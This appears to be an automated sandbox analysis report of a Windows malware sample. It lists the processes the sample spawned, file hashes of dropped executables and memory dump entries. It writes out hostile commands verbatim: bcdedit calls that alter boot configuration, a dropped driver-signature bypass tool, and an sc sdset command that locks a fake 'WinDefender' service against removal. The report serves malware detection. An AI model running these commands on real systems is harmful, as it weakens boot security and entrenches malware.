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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -timeout 05⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set bootmenupolicy legacy5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\System32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
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C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeC:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe4⤵
- Drops file in Drivers directory
- Executes dropped EXE
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C:\Windows\windefender.exe"C:\Windows\windefender.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)6⤵
- Suspicious use of AdjustPrivilegeToken
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeMD5
d98e78fd57db58a11f880b45bb659767
SHA1ab70c0d3bd9103c07632eeecee9f51d198ed0e76
SHA256414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0
SHA512aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831
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C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeMD5
d98e78fd57db58a11f880b45bb659767
SHA1ab70c0d3bd9103c07632eeecee9f51d198ed0e76
SHA256414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0
SHA512aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeMD5
13aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeMD5
ec739beadc6a82a62f4a0c12e271372c
SHA1e5f980ac2ec58b88062d9a01eacfd040a2690976
SHA2569272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc
SHA5123d99c6b668e97e806eaf2f503186f70a4d9b4c287360e16d66238ff355a733246623cf0d573c912babf2685872de3d909da615010b90a0274b68843def8b1551
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C:\Windows\rss\csrss.exeMD5
ec739beadc6a82a62f4a0c12e271372c
SHA1e5f980ac2ec58b88062d9a01eacfd040a2690976
SHA2569272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc
SHA5123d99c6b668e97e806eaf2f503186f70a4d9b4c287360e16d66238ff355a733246623cf0d573c912babf2685872de3d909da615010b90a0274b68843def8b1551
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C:\Windows\windefender.exeMD5
6512ae7c9f36206f6433f78296102419
SHA1abd1312c5727ac2a64ae5add1706d47cd65386eb
SHA2566b9468efee35a8454a7fb395f43e5bdd14df918437661846d7d6ec199ba08883
SHA512a6ece95ec60ac11b8454586f7a67a70b7bfc963691e79f0711b37280a647bddffb57b119b458d766f859841d775a56ebb43b2c63ad50b6fad6df8354ae51473f
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C:\Windows\windefender.exeMD5
6512ae7c9f36206f6433f78296102419
SHA1abd1312c5727ac2a64ae5add1706d47cd65386eb
SHA2566b9468efee35a8454a7fb395f43e5bdd14df918437661846d7d6ec199ba08883
SHA512a6ece95ec60ac11b8454586f7a67a70b7bfc963691e79f0711b37280a647bddffb57b119b458d766f859841d775a56ebb43b2c63ad50b6fad6df8354ae51473f
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C:\Windows\windefender.exeMD5
6512ae7c9f36206f6433f78296102419
SHA1abd1312c5727ac2a64ae5add1706d47cd65386eb
SHA2566b9468efee35a8454a7fb395f43e5bdd14df918437661846d7d6ec199ba08883
SHA512a6ece95ec60ac11b8454586f7a67a70b7bfc963691e79f0711b37280a647bddffb57b119b458d766f859841d775a56ebb43b2c63ad50b6fad6df8354ae51473f
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\Users\Admin\AppData\Local\Temp\dbghelp.dllMD5
f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
335ee604bc5976ee83b38f3dddfed723
SHA12511136d8b9d34b521dd6d9d6c9bdd4c34a0e6ac
SHA2568373267ef4dceb7999ccfa9c3c47e75c2623f5aa16a5e46baf2a394faaf5d77f
SHA51287ad9512b45bcfcb0d1287788d88adb2563b003c960eb0e36185cbd2d038d878bee6768a1a6585a2f8ba98f294a8c56762af24f7c8cfc1afaf57e67e9ed5a9ee
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\Users\Admin\AppData\Local\Temp\osloader.exeMD5
78c581e475d59efdebee2d3f4355f03f
SHA1fda6c1f77f772afaa1b44a44c1fb29ee07434d10
SHA2569f7e7ce0767d327ef0657b02a120f521d27444669587c5ccf282c9b199480aee
SHA51235ed0fc3d9210af3c24a401500aebc8c31d77bb156c447602ca7e91f359931afbf2b69930d80c8fc412b5ba0b9cea8b22b7396f610b4224bbb77d765af042521
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\Users\Admin\AppData\Local\Temp\symsrv.dllMD5
5c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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memory/508-110-0x0000000000000000-mapping.dmp
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memory/508-130-0x0000000000400000-0x0000000000897000-memory.dmpFilesize
4.6MB
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memory/508-127-0x0000000000000000-mapping.dmp
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memory/620-103-0x0000000000000000-mapping.dmp
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memory/620-92-0x0000000000000000-mapping.dmp
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memory/1028-113-0x0000000000000000-mapping.dmp
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memory/1188-112-0x0000000000000000-mapping.dmp
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memory/1292-133-0x0000000000000000-mapping.dmp
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memory/1420-134-0x0000000000000000-mapping.dmp
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memory/1428-115-0x0000000000000000-mapping.dmp
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memory/1560-7-0x0000000002D00000-0x0000000002D01000-memory.dmpFilesize
4KB
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memory/1560-8-0x0000000000400000-0x0000000000B16000-memory.dmpFilesize
7.1MB
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memory/1560-5-0x0000000000000000-mapping.dmp
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memory/2012-114-0x0000000000000000-mapping.dmp
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memory/2208-124-0x0000000000000000-mapping.dmp
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memory/2236-117-0x0000000000000000-mapping.dmp
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memory/2420-102-0x0000000000000000-mapping.dmp
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memory/2484-121-0x0000000000000000-mapping.dmp
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memory/2684-91-0x0000000000000000-mapping.dmp
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memory/2700-93-0x0000000000000000-mapping.dmp
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memory/2992-99-0x00000000032B0000-0x00000000032B1000-memory.dmpFilesize
4KB
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memory/2992-95-0x0000000000000000-mapping.dmp
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memory/3076-120-0x0000000000000000-mapping.dmp
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memory/3240-119-0x0000000000000000-mapping.dmp
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memory/3244-118-0x0000000000000000-mapping.dmp
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memory/3292-116-0x0000000000000000-mapping.dmp
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memory/3432-109-0x0000000000000000-mapping.dmp
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memory/3560-94-0x0000000000000000-mapping.dmp
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memory/3720-111-0x0000000000000000-mapping.dmp
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memory/3884-122-0x0000000000000000-mapping.dmp
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memory/4024-101-0x0000000000000000-mapping.dmp
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memory/4048-123-0x0000000000000000-mapping.dmp
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memory/4092-1-0x0000000002DD0000-0x0000000002DD1000-memory.dmpFilesize
4KB
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memory/4092-2-0x0000000000400000-0x0000000000B16000-memory.dmpFilesize
7.1MB